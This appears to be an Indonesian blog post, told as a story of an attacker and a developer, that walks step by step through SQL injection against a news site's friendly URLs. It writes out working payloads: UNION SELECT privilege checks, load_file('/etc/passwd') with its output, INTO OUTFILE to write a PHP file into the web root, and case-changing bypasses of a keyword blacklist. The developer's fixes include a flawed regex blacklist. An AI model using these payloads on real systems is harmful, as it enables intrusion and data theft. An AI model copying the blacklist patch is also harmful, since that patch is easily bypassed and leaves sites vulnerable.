Attacker vs Developer 2 ( part 3 )

Attacker vs Developer 2 ( part 3 )


setelah kemarin mendapat perlawanan sengit oleh si Developer,
kini sang Attacker pun kembali kesekian kalinya ke webiste si developer
melihat tampilan website si developer yang kembali di perbaiki dan lebih url friendly
sang attacker pun merasa tertantang untuk kembali mengetes system di website tersebut
dia melihat bahwa url detail web si developer berubah menjadi url friendly, nah pikir sang Attacker
biasanya alias tersumpan di database dan kemungkinan web si debeloper juga demikian maka sang attacker pun mencoba
dengan cara seperi biasa yakni menyisipkan '
http://www.situssideveloper.dev/berita/the-power-of-papa-setnov.html'
tapi tak ada perubahan sama sekali
kemudian sang attacker berfikir lagi
"bisa jadi si developer cuma menyisipkan alias yang berasal dari judul (the-power-of-papa-setnov) tanpa .html"
kemudian sang attacker pun mencoba memasukan ' ke dalam judul seperti berikut ini
http://www.situssideveloper.dev/berita/the-power-of-papa-setnov'.html
dan hasil yang di dapatkan ialah error 404
vuln ?
sang attacker belum menganggap itu vuln karena wajar bila web merespon dengan 404 bila tidak mendapati data
kemudian sang attacker pun kembali menambahkan qery injeksi -- -untuk meyakinkan bahwa itu bug
bilamana di beri injeksi -- - dan muncul datanya alias kembali true maka di pastikan ini bug
dan setelah web di berikan query injeksi tersebut
http://www.situssideveloper.dev/berita/the-power-of-papa-setnov' -- -.html
situs tersebut kembali ke artikel awal dan bisa di katakan bahwa ini bug
berasa dapat angin segar sang attacker pun bersemangat untuk menginjeksi web si developer
dan alhasil sang attacker pun lagi-lagi mendapatkan username dan password admin web si developer
namun ketika sang attacker mengakses admin login web si developer sang attacker hanya mendapati error 404
ternyata tanpa disangka-sangka sang developer bukan hanya mempatch webnya menjadi url friendly namun juga merubah lokasi
backend webnya. tanpa membuang waktu sang attacker pun mengeluarkan toolnya yaitu admin finder tapi tool itu pun tak dapat membantu sang attacker menemukan admin login web tersebut.
tak putus asa sang attcker pun mencoba teknik sql injection into outfie yaitu membuat file lewat query sql.
meskipun bug ini jarang terjadi pada sebuah website namun tak ada jalan sang attacker kecuali mencobanya, dengan bug ini sang attacker tak perlu susah-susah mencari admin login, tapi langsung dengan membuat backdoor dengan menggunakan query sql.
tekniknya sama seperti sql injection manual namun query setellah memasukan version() berubah
setelah mengetahui versi dari mysql sang attacker kemudian mengecek apakah user database yang di pakai si developer dengan cara menyisipkan perintah file_priv
http://www.situssideveloper.dev/berita/the-power-of-papa-setnov' union select 1,2,3,group_concat(file_priv),5,6,7,8,9,10 from mysql.user-- -.html
dan website si developer merespon dengan huruf Y yang artinya user database yang di pakai web tersebut mempunyai akses FILE
setelah mengetahui web itu vuln maka sang attacker pun melancarkan aksinya
pertama sang attacker pun mencoba menebak lokasi dir pada website tersebut untuk lokasi file yang akan dia buat nanti
untuk mengetahui lokasi biasanya sang attacker menggunakan beberapa metode salah satunya dengan membaca error pada website
karena biasanya system akan memberitahu directory dan baris pada file yang error.
namun sang attacker tidak bisa mengunakan metode ini dikarenakan si developer sudah menghilangkan errornya ( lihat patc avd 2 part 1). namun tak putus asa sang atacker pun mencoba metode LFI untuk melihat dokumen rootnya
http://www.situssideveloper.dev/berita/the-power-of-papa-setnov' union select 1,2,3,load_file('/etc/passwd'),5,6,7,8,9,10-- -.html
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
dan akhirnya sang attacker pn menemukan directori dari web tersebut yaitu /var/www yang di ambil dari
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
setelah mengetahui directori dari website tersebut sang attacker melanjutkan aksinya yakni membuat file dengan query sql
dengan menambahkan script file yang akan di upload contoh <?="hello word"?> lalu encode dengan hexa atau mysql char dan menyisipkan query INTO OUTFILE "dir/namafile.php" sebelum query komen
menjadi seperti ini
kali ini sang attacker ingin membuat file 173.php yang berisi "permisi numpang lewat"
http://www.situssideveloper.dev/berita/the-power-of-papa-setnov' union select 1,2,3,0x7065726d697369206e756d70616e67206c65776174,5,6,7,8,9,10 INTO OUTFILE "/var/www/173.php"-- -.html
dan alhasil ketika sang attacker megakses
situssideveloper.dev/173.php
dan yang didapatkan ialah sang attcker berhasil
dan selang beberapa menit si developer yang kebetulan sedang mempercantik webnya di kejutkan degan sebuah file 173.php
yang tak pernah ia buat. menyadari ini perbuatan sang attacker sang developer pun kembali mengecek log pada website nya dan di dapati sang attacker memanfaatkan akses privilages file pada user database untuk membuat file baru. segara ia meremove akses file tersebut pada user databasenya.
revoke file on *.* from 'userdatabasenya'@'localhost';
kemudian si developer pun memperbaiki bug sqli kesekian kalinya, sejenak dia memikirkan jalan keluar dari masalah ini dan dia mendapat sebuah ide mempatch bug sql injection pada webnya dengan cara memblacklist perintah union pada sql injection sebagai berikut
if (!preg_match('/(union|form|and)/', $alias)) {
script webistenya..
}else{
    header('HTTP/1.1 404 Not Found');
}
sekitar 1 jam sejak bug tersebug di patch oleh si developer sang attacker pun mengunjungi kembali file yang telah ia buat
sang attacker pun membuka
situssideveloper.dev/173.php
dan apa yang di dapati sang attacker ialah file yang ia buat tadi hilang,dan itu merupakan sebuah pertanda bahwa si developer lagi on. semakin bersemangatlah ia karenakan si developer on. kemudin ia mengulangi penyerangan web si developer dengan metode sebelumnya namun setelah mengeksekusi yang di dapatkan ialah sebuah error 404. kemudian sang attacker mencoba memasukan ist 1 per 1 seperti berikut
http://www.situssideveloper.dev/berita/the-power-of-papa-setnov' union -- -.html   |  error
http://www.situssideveloper.dev/berita/the-power-of-papa-setnov' select -- -.html  |  tidak error
http://www.situssideveloper.dev/berita/the-power-of-papa-setnov' from -- -.html  |  error
http://www.situssideveloper.dev/berita/the-power-of-papa-setnov' and -- -.html   |  error
http://www.situssideveloper.dev/berita/the-power-of-papa-setnov' where -- -.html   |  tidak error
dan begitu seterusnya dan di dapati hanya perintah union yang di blacklist oleh si developer
dari kesimpulan tersebut sang attacker pun mencoba membypass blacklist tersebut dengan cara membuat perintah yang di blacklist menjadi peritah alay
http://www.situssideveloper.dev/berita/the-power-of-papa-setnov' UnIOn select 1,2,3,0x7065726d697369206e756d70616e67206c65776174,5,6,7,8,9,10 INTO OUTFILE "/var/www/173.php"-- -.html
merasa tak ada error sang attacker pun kembali membuka link file yang ia buat
http://situssideveloper.dev/173.php
dan di dapati file yang ia buat tak ada
sang attacker pun mulai curiga bila akses file telah di revoke oleg si developer
dia pun mengecek dengan memasukan perintah file_priv
http://www.situssideveloper.dev/berita/the-power-of-papa-setnov' UnIOn select 1,2,3,group_concat(file_priv),5,6,7,8,9,10 FrOm mysql.user-- -.html
website si developer pun merespon dengan mengeluarkan huruf N yang artinya user tersebut sudah tak memiliki privilages file
setelah mengetahui bahwa web tersebut tak ada privilages file sang attacker pun kembali mengambil data username dan password
namun PR sang attacker ialah halaman admin web si developer tak di temukan. sang attacker pun menemukan sebuah ide yaitu melihat direktori gambar,
kanapa dengan direktori gambar ?
karena ada kemungkinan sebuah gambar yang di upload di direktori admin
dan benar saja sang attacker pun menemukan sebuah file gambar yang di simpan di direktori admin
http://situssideveloper.dev/admin_app/img/logo.jpg
sang attacker pun kembali masuk ke dasboard web si developer
si developer yang sedari tadi memantau aksi sang attacker untuk melihat cara kerja ia menyerang kini si developerpun kembali mempatch webnya
dengan cara dia memindahkan direktori admin dan kembali memperbaiki patch yang berhasil di jebol oleh sang attacker
if (!preg_match('/(union|form|and)/i', $alias)) {
script webistenya..
}else{
    header('HTTP/1.1 404 Not Found');
}